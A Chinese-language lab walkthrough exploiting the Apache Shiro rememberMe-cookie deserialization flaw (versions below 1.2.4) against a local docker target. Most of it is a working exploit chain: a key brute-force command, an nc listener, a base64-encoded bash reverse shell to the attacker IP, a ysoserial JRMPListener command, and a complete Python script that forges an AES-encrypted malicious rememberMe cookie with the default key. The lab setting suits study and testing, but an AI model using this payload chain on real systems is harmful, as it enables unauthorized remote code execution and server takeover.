Apache Shiro框架的记住密码功能,用户登录后生成加密编码的cookie。服务端对记住密码产生的cookie进行base64解密,再进行AES解密,之后进行反序列化,导致了反序列化漏洞。
服务端过程:cookie
-->base64解密
-->AES解密
-->反序列化
Apache Shiro < 1.2.4
返回包中含有rememberMe=deleteMe的字段。
攻击机:192.168.112.1 靶机:192.168.112.137:5001 1.靶机环境搭建
用docker拉取靶机镜像
docker pull medicean/vulapps:s_shiro_1
创建启动靶机容器
docker run -d -p 5001:8080 medicean/vulapps:s_shiro_1
注:5001为外部映射端口,可自定义
2.漏洞检测利用 检测: 低版本的shiro会使用默认的密钥 先爆破密钥 Github:https://github.com/insightglacier/Shiro_exploit
python shiro_exploit.py -u http://192.168.112.137:5001/
爆破出密钥 利用: 反弹shell 在攻击机监听端口
nc -lvnp 6366
Java Runtime 配合 bash 编码 http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.112.1/6366 0>&1 bash编码后 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xLzYzNjYgMD4mMQ==}|{base64,-d}|{bash,-i}
通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令,可查看反弹shell连接状况 ysoserial.jar:ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。 攻击机监听6666端口
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xLzYzNjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
用python生成payload
# -*- coding: utf-8 -*-
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # 替换刚才爆破的密钥
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
ip_port = '192.168.112.1:6666' # IP是攻击者IP,端口为ysoserial中JRMP监听模块的端口
payload = encode_rememberme(ip_port)
print("rememberMe={0}".format(payload.decode()))
生成payload 随便输入账号密码,然后选择RememberMe,使用burp抓包,把刚才生成的payload添加到cookie中。
发送请求,监听成功